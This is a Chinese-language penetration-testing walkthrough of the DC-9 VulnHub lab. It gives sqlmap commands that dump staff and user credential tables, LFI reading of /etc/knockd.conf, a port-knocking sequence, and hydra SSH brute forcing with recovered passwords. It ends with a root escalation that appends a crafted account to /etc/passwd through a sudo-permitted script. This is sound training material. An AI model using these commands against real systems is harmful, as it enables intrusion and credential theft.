标签:SQL注入、本地文件包含LFI、端口敲门、hydra爆破、linux提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/dc-9,412/
靶机描述:
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
靶机地址:192.168.75.161
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.75.161
开放了22(filtered)和80端口,但是22端口被过滤了,那就先看一下80端口
插件没有识别到web指纹
0x02 SQL注入
在search菜单下有个提交框,可能存在POST注入
Burp Suite测一下
接下来用SQLmap进行遍历
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 --dbs
1.Staff数据库
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff --tables
查看数据表,命令:
StaffDetails表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T StaffDetails --columns
Users表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T Users --dump
StaffDetails表:
Users表:
密码的加密方式应该是md5
得到了admin的账号和密码admin\transorbital1
2.users数据库
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users --tables
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users -T UserDetails --dump
在UserDetails表中发现了很多账号密码
用管理账号登陆网站后台
0x03 本地文件包含LFI
使用admin账户登录之后,登录首页提示找不到文件,怀疑存在文件读取漏洞
这里猜测文件参数是file
0x04 端口敲门
如下说明:
如果你有一台公网可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用LFI来查看knock.conf文件配置,得到自定义端口
现在看一下/etc/knockd.conf文件中的自定义端口
有3个自定义端口,分别是:7469,8475,9842
依次访问这三个端口就可以打开SSH服务了
nmap -p 7469 192.168.75.161
nmap -p 8475 192.168.75.161
nmap -p 9842 192.168.75.161
现在看一下ssh端口,命令:nmap -p 22 192.168.75.161
open!
0x05 hydra爆破SSH
sql注入的时候,拿到了很多用户名和密码,把它们分别保存
然后使用hydra进行ssh爆破。命令:hydra -L user.txt -P pass.txt -t 10 ssh://192.168.75.161
使用"-l"选项指定单个登录名,使用"-p"选项指定单个密码。使用"-L"选项指定一个文件来指定多个登录名,使用"-P"选项指定一个文件来指定多个密码,"-t"表示使用线程。
爆破出来3个账号:chandlerb \ UrAG0D!、joeyt \ Passw0rd、janitor \ Ilovepeepee
登录SSH(注意应该使用ls -la查看隐藏文件或目录),发现只有janitor用户存在隐藏可读文件
ssh [email protected]
这个文件看起来是一个存放密码的文件,将密码复制到pass.txt中,再次使用hydra进行爆破
爆破出了一个新的账号:fredf \ B4-Tru3-001
0x06 提权
登陆到fredf账号,查看下fredf的sudo权限,发现可以NOPASSWD执行root权限的文件
sudo -l
查看发现test是一个python文件
使用命令:find / -name test.py 2>/dev/null
查找python文件,进行查看
该文件需要传入三个参数,这三个参数都是文件,传入三个参数后,会读取第二个文件,然后将第二个文件的内容追加到第三个文件里。
既然这样,我们就可以利用这个程序向/etc/passwd文件后追加一个拥有root权限的账户,也就是说把/etc/passwd文件设置为第三个参数,而第二个参数由我们自己创建,这个文件里是拥有root权限账户的信息,第一个参数随便写一个就好。
我们先使用openssl来创建第二个参数文件中的内容
命令:sudo openssl passwd -1 -salt hacker password
这条命令的意思是创建一个用户名为hacker,密码为password的用户
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
修改后的值:hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash
echo 'hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash' >> /tmp/passwd
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
切换到新添加的账户,提权成功